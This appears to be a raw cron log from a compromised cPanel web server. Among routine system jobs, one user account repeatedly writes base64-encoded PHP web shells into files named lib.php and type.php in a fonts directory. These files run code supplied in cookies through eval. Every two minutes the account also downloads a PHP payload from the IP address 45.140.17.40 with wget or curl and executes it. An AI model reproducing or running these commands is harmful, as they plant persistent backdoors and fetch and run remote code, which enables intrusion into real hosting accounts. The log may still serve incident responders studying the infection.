Sep  6 03:06:01 ip-184-168-122-23 CROND[2414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:06:01 ip-184-168-122-23 CROND[2415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:06:01 ip-184-168-122-23 CROND[2412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:06:01 ip-184-168-122-23 CROND[2413]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:07:01 ip-184-168-122-23 CROND[2579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:07:01 ip-184-168-122-23 CROND[2580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:07:01 ip-184-168-122-23 CROND[2582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:07:01 ip-184-168-122-23 CROND[2581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:08:01 ip-184-168-122-23 CROND[2658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:08:01 ip-184-168-122-23 CROND[2660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:08:01 ip-184-168-122-23 CROND[2661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:08:01 ip-184-168-122-23 CROND[2663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:08:01 ip-184-168-122-23 CROND[2662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:09:01 ip-184-168-122-23 CROND[2745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:09:01 ip-184-168-122-23 CROND[2746]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 03:09:01 ip-184-168-122-23 CROND[2749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:09:01 ip-184-168-122-23 CROND[2748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:09:01 ip-184-168-122-23 CROND[2750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:10:01 ip-184-168-122-23 CROND[2834]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 03:10:01 ip-184-168-122-23 CROND[2837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:10:01 ip-184-168-122-23 CROND[2840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:10:01 ip-184-168-122-23 CROND[2844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:10:01 ip-184-168-122-23 CROND[2842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:10:01 ip-184-168-122-23 CROND[2841]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:10:01 ip-184-168-122-23 CROND[2843]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:10:01 ip-184-168-122-23 CROND[2845]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:11:01 ip-184-168-122-23 CROND[2950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:11:01 ip-184-168-122-23 CROND[2951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:11:01 ip-184-168-122-23 CROND[2952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:11:01 ip-184-168-122-23 CROND[2953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:12:01 ip-184-168-122-23 CROND[3031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:12:01 ip-184-168-122-23 CROND[3034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:12:01 ip-184-168-122-23 CROND[3033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:12:01 ip-184-168-122-23 CROND[3032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:12:01 ip-184-168-122-23 CROND[3035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:13:01 ip-184-168-122-23 CROND[3149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:13:01 ip-184-168-122-23 CROND[3154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:13:02 ip-184-168-122-23 CROND[3155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:13:02 ip-184-168-122-23 CROND[3156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:14:01 ip-184-168-122-23 CROND[3302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:14:01 ip-184-168-122-23 CROND[3304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:14:01 ip-184-168-122-23 CROND[3307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:14:01 ip-184-168-122-23 CROND[3305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:14:01 ip-184-168-122-23 CROND[3306]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:15:01 ip-184-168-122-23 CROND[3393]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:15:01 ip-184-168-122-23 CROND[3394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:15:01 ip-184-168-122-23 CROND[3391]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:15:01 ip-184-168-122-23 CROND[3392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:15:01 ip-184-168-122-23 CROND[3397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:15:01 ip-184-168-122-23 CROND[3398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:16:01 ip-184-168-122-23 CROND[3485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:16:01 ip-184-168-122-23 CROND[3490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:16:01 ip-184-168-122-23 CROND[3486]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 03:16:01 ip-184-168-122-23 CROND[3488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:16:01 ip-184-168-122-23 CROND[3487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:16:01 ip-184-168-122-23 CROND[3489]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 03:17:02 ip-184-168-122-23 CROND[3573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:17:02 ip-184-168-122-23 CROND[3575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 03:17:02 ip-184-168-122-23 CROND[3574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 03:17:02 ip-184-168-122-23 CROND[3576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:18:01 ip-184-168-122-23 CROND[3665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:18:01 ip-184-168-122-23 CROND[3663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
